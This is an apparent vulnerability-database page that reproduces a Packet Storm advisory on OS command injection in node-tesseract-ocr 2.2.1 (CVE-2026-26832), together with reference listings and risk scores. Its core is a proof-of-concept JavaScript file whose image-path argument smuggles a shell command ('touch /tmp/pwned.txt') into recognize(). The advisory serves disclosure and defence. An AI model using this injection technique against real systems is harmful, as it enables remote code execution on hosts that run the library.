Lucene search
+L

📄 node-tesseract-ocr 2.2.1 Command Injection

🗓️ 27 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 205 Views

OS command injection in node-tesseract-ocr 2.2.1 via unsanitized image path leading to RCE.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
node-tesseract-ocr Recognizable Data Compromise
10 Apr 202600:00
–bdu_fstec
githubexploit
GithubExploit
Exploit for CVE-2026-26832
24 Mar 202616:15
–githubexploit
circl
Circl
CVE-2026-26832
25 Mar 202617:36
–circl
cnnvd
CNNVD
Tesseract security vulnerabilities
25 Mar 202600:00
–cnnvd
cve
CVE
CVE-2026-26832
25 Mar 202600:00
–cve
cvelist
Cvelist
CVE-2026-26832
25 Mar 202600:00
–cvelist
euvd
EUVD
EUVD-2026-15461
25 Mar 202618:31
–euvd
github
Github Security Blog
node-tesseract-ocr is vulnerable to OS Command Injection through unsanitized recognize() function parameter
25 Mar 202618:31
–github
kitploit
Kitploit
CVE-2026-26832
24 Oct 202621:07
–kitploit
kitploit
Kitploit
npm-cve-2026-26830-26833
25 Oct 202605:53
–kitploit
Rows per page
==================================================================================================================================
    | # Title     : node-tesseract-ocr 2.2.1 OS Command Injection via Unsanitized Image Path Leading to RCE                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.npmjs.com/package/node-tesseract-ocr                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : In node-tesseract-ocr version 2.2.1, a security vulnerability allows OS command injection when attacker-controlled image paths are passed to the OCR function.
    
    [+] POC        :  exploit-basic.js
    
    const tesseract = require('node-tesseract-ocr');
    
    
    const maliciousImagePath = 'test.jpg"; touch /tmp/pwned.txt; echo "x';
    
    const config = {
        lang: 'eng',
        oem: 1,
        psm: 3,
    };
    
    console.log("[+] CVE-2026-26832 - node-tesseract-ocr OS Command Injection Exploit");
    console.log("[+] Malicious image path:", maliciousImagePath);
    console.log("[+] Attempting to recognize text...");
    
    tesseract.recognize(maliciousImagePath, config)
        .then(text => {
            console.log("[+] OCR completed (injection might still have worked)");
            console.log("Extracted text:", text);
        })
        .catch(error => {
            console.log("[!] OCR failed (but command may have executed before the error)");
            console.log("Error:", error.message);
        })
        .finally(() => {
            console.log("[*] Check if command executed: ls -la /tmp/pwned.txt");
            console.log("[*] If the file exists, the exploit was successful!");
        });
    node-tesseract-ocr 2.2.1
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Apr 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
EPSS0.01736
SSVC
205